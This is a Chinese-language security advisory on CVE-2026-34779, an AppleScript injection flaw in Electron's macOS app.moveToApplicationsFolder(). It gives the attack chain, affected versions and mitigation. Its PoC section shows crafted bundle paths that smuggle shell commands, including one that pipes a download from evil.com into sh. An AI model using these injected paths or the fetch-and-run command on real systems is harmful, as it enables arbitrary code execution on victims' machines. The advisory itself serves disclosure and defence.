IPBUF安全漏洞报告
English
CVE-2026-34779 CVSS 6.5 中危

CVE-2026-34779 Electron macOS任意代码执行漏洞

披露日期: 2026-04-04

漏洞信息

漏洞编号
CVE-2026-34779
漏洞类型
任意代码执行
CVSS评分
6.5 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Electron

相关标签

代码执行ElectronmacOSAppleScript注入本地漏洞

漏洞概述

Electron是一款跨平台桌面应用程序开发框架。在特定版本之前,macOS平台上的`app.moveToApplicationsFolder()`函数存在安全漏洞。该函数在处理某些字符的应用程序包路径时,使用了不安全的AppleScript回退机制。如果应用程序调用此API,攻击者通过精心构造的启动路径,诱导用户接受移动到应用程序文件夹的提示,即可触发任意AppleScript执行,从而导致系统被控制或数据泄露。

技术细节

该漏洞源于Electron在macOS上实现`app.moveToApplicationsFolder()`功能时的逻辑缺陷。当标准的移动操作失败或需要回退时,Electron会尝试使用AppleScript来执行移动操作。然而,回退路径未能正确对应用程序包路径中的特殊字符(如引号、反斜杠等)进行清理或转义,导致了AppleScript注入。如果攻击者能够控制应用程序的安装路径(例如,在一个包含恶意字符的目录中安装应用或重命名应用包),当应用调用`app.moveToApplicationsFolder()`并弹出系统提示时,一旦用户点击“移动”,未经过滤的路径将被传递给`osascript`执行。由于AppleScript功能强大,这允许攻击者执行任意命令,实现本地提权或持久化攻击。

攻击链分析

STEP 1
步骤1
攻击者诱导用户安装Electron应用,或将应用放置在包含恶意特殊字符(如单引号)的路径中。
STEP 2
步骤2
受影响的应用程序调用`app.moveToApplicationsFolder()` API,尝试将自身移动到应用程序文件夹。
STEP 3
步骤3
macOS弹出系统对话框,询问用户是否允许移动应用。
STEP 4
步骤4
用户点击“移动”按钮以接受操作。
STEP 5
步骤5
Electron触发AppleScript回退机制,由于路径未正确转义,恶意 payload 被注入并执行任意AppleScript命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC: Conceptual demonstration of the vulnerability trigger // The vulnerability relies on the app being installed in a path with specific characters // and the app calling app.moveToApplicationsFolder(). const { app } = require('electron'); // Assume the app is running from a path like "/Users/attacker/'; do shell script 'id'; '/MyApp.app" // When the user accepts the move prompt, the internal AppleScript fails to escape the single quote. function triggerVulnerability() { try { console.log("Attempting to move to Applications folder..."); // This call triggers the insecure AppleScript fallback on vulnerable versions app.moveToApplicationsFolder(); } catch (error) { console.error("Error moving app:", error); } } // In a real exploit scenario, the attacker would ensure the app bundle name // contains characters that break out of the AppleScript string context. // Example malicious bundle name: `App"; do shell script "curl http://evil.com | sh"; ".app` triggerVulnerability();

影响范围

Electron < 38.8.6
Electron < 39.8.1
Electron < 40.8.0
Electron < 41.0.0-beta.8

防御指南

临时缓解措施
如果无法立即升级,开发者应暂时禁用应用中移动到应用程序文件夹的功能。终端用户应仅从可信来源下载应用,并留意应用安装路径是否异常。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表